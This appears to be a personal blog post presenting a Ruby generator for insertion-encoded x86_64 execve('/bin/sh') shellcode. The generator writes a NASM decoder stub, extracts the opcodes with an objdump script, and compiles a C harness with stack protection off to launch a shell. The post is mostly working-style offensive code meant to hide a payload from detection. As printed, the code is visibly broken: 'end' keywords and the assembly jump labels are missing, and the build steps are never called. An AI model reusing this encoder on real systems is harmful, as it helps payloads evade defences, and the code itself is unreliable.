What is this post about?

This is an old post from around 2013 that I have updated. It is an attempt at using Ruby to create an encoder/decoder shellcode generator and test application. A brief explanation of shellcode, and encoding in particular, can be found here. I updated and revisited this post as a refresher for myself in a few concepts, therefore if you find this post useful that is great, if you don’t that is okay too.

Program Design

I wanted a simplistic way to do the following:

  • 1 – add in any shellcode
  • 2 – add any random valid x64 opcodes for insertion in the shellcode
  • 3 – create a binary generated from 1 and 2 above
  • 4 – extract shellcode from the binary
  • 5 – place the shellcode into a c source file
  • 6 – compile the c source code
  • 7 – test the resultant binary
  • The Ruby Application

    This code works, it has been tested. I have tried to make the code as simple and ‘self-documenting’ as possible. The code is most likely an example of how not to write in Ruby, but it got the job done for me!

    #!/usr/bin/ruby -w
    # Generates encoded shellcode
    # @param shellcode [String Array] shellcode in hex byte format
    # @param randominsertbytes [String Array] hex bytes to randomly insert into shellcode
    # @param endbytemarker [String] end byte marker
    # @return [String] shellcode that has been encoded
    def generate_encoded_shellcode(shellcode, randominsertbytes, endbytemarker)
      puts "[*] Generate random insertion encoded shellcode..."
      encoded_shellcode = ""
      # created encoded shellcode, make sure that all of the
      # original shellcode is included in the string.
      shellcode_index = 0
      while shellcode_index <= shellcode.length do
        if rand(1..1000) > 500
          encoded_shellcode += randominsertbytes[rand(0..randominsertbytes.length-1)]
          if shellcode_index <= shellcode.length
            encoded_shellcode += "#{shellcode[shellcode_index]}"
          shellcode_index += 1
        encoded_shellcode += ","
      return "#{encoded_shellcode.chop}#{endbytemarker}"
    # Generates an x86_64 assembly language source file
    # which will decode and execute the encoded shellcode
    # @param encodedshellcode [String] encoded shellcode
    # @param randominsertbytes [String Array] hex bytes to randomly insert into shellcode
    # @param endbytemarker [String] end byte marker
    # @param filename [String] name of assembly language source file
    def generate_asm_code(encodedshellcode, randominsertbytes, endbytemarker, filename)
      puts "[*] Generate assembly language for encoded shellcode..."
      filename = filename + ".asm"
      asmcode_header = [
        "global _start",
        "section .text",
        "    jmp short call_shellcode",
        "    pop rsi",
        "    lea rdi, [rsi]",
        "    xor rax, rax",
        "    xor rbx, rbx",
        "    mov bl, byte [rsi + rax]"
      asmcode_decode = []
        randominsertbytes.each do |x|
        asmcode_decode << "    cmp bl, #{x}"
        asmcode_decode << "    jz  insertionByte"
      asmcode_footer = [
        "    cmp bl, #{endbytemarker}",
        "    jz  short encodedShellcode",
        "    mov byte [rdi], bl",
        "    inc rdi",
        "    inc rax",
        "    jmp short decode",
        "    inc rax",
        "    jmp decode",
        "    call decoder",
        "    encodedShellcode db #{encodedshellcode}"
      final_asmcode = []
      final_asmcode << asmcode_header
      final_asmcode << asmcode_decode
      final_asmcode << asmcode_footer
      File.open(filename, "w+") do |asmsourcefile|
      puts "[*] Finished writing assembly language source code to #{filename}."
    # Create executable binary from assembly language source file
    # @param filename [String] filename of assembly executable
    # @return [Integer] status of shell operation
    def build_assembly_executable(filename)
      puts "[*] Building assembly executable, #{filename}..."
      exit_status = 0
      Open3.popen3("nasm -felf64 -o #{filename}.o #{filename}.asm") { |i,o,e,t|
        exit_status = t.value
      Open3.popen3("ld -o #{filename} #{filename}.o") { |i,o,e,t|
        exit_status = t.value
      return exit_status
    # Extract shellcode from executable file using a shell command
    # @param filename [String] filename of assembly executable
    # @param cmd [String] command to execute from shell
    # @return [String] shellcode extracted from assembly executable
    def extract_shellcode_from_binary(filename, cmd)
      puts "[*] Extracting shellcode from executable file, #{filename}..."
      extracted_shellcode = ""
      Open3.popen3("./#{cmd} #{filename}") { |i,o,e,t|
        extracted_shellcode = o.gets(nil)
      return extracted_shellcode
    # Build c language shellcode template, insert encodedshellcode
    # @param cfilename [String] C source filename
    # @param encodedshellcode [String] shellcode extracted from assembly executable
    def generate_shellcode_template(cfilename, encodedshellcode)
      puts "[*] Generating shellcode template C source file..."
      cfilename += ".c"
      ctemplate = [
        "#include <stdio.h>",
        "unsigned char code[] = \"#{encodedshellcode}\";".gsub("\n",""),
        "    int (*ret)() = (int(*)())code;",
        "    ret();",
      File.open(cfilename, "w+") do |csourcefile|
    # Compile generated C source file
    # @param cfilename [String] c executable filename
    # @return [Integer] status of shell operation
    def build_shellcode_binary(cfilename)
      puts "[*] Building shellcode binary (#{cfilename})..."
      exit_status = 0
      Open3.popen3 ("gcc -fno-stack-protector -z execstack -ggdb -o #{cfilename} #{cfilename}.c") do |i,o,e,t|
        exit_status = t.value
      return exit_status
    # Instruct user on program status and next step
    # @param cfilename [String] c executable filename
    def test_shellcode(cfilename)
      puts "[*] Finished!"
      puts "\n./#{cfilename} to test, /bin/sh on success... (Good luck!)\n\n"
    # required modules
    require "open3"
    # variables for shellcode generation
    asmfilename = "encodedshellcode"
    cfilename = "shellcode"
    # execve 64bit shellcode
    shellcode = %w(0x48 0x31 0xff 0x57 0x57 0x5e 0x5a 0x48 0xbf 0x2f 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x48 0xc1 0xef 0x08 0x57 0x54 0x5f 0x6a 0x3b 0x58 0x0f 0x05)
    # make sure bytes are valid x86_64 one byte opcodes
    random_insert_bytes = %w(0x9b 0xcb 0xf5 0xfc 0xc3)
    end_byte = "0xbb"
    extract_shellcode_cmd = "extract_shellcode.sh"
    # main
    encoded_shellcode = generate_encoded_shellcode(shellcode, random_insert_bytes, end_byte)
    generate_asm_code(encoded_shellcode, random_insert_bytes, end_byte, asmfilename)
    extracted_shellcode = extract_shellcode_from_binary(asmfilename, extract_shellcode_cmd)
    generate_shellcode_template(cfilename, extracted_shellcode)

    Extract Shellcode Script

    I created a script for extracting shellcode from a binary called extract_shellcode.sh.

    #!/usr/bin/env sh
    for i in $(objdump -d $1 -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo

    Make sure this script is exectuable, i.e.

    $ chmod +x extract_shellcode.sh

    To Test the Code:

    Make sure the ruby program and the extract_shellcode.sh script are in the same folder.

    ~/test/encdec$ ./encoder-decoder-64bit.rb 
    [*] Generate random insertion encoded shellcode...
    [*] Generate assembly language for encoded shellcode...
    [*] Finished writing assembly language source code to encodedshellcode.asm.
    [*] Building assembly executable, encodedshellcode...
    [*] Extracting shellcode from executable file, encodedshellcode...
    [*] Generating shellcode template C source file...
    [*] Building shellcode binary (shellcode)...
    [*] Finished!
    ./shellcode to test, /bin/sh on success... (Good luck!)
    ~/test/encdec$ ./shellcode 
    $ exit

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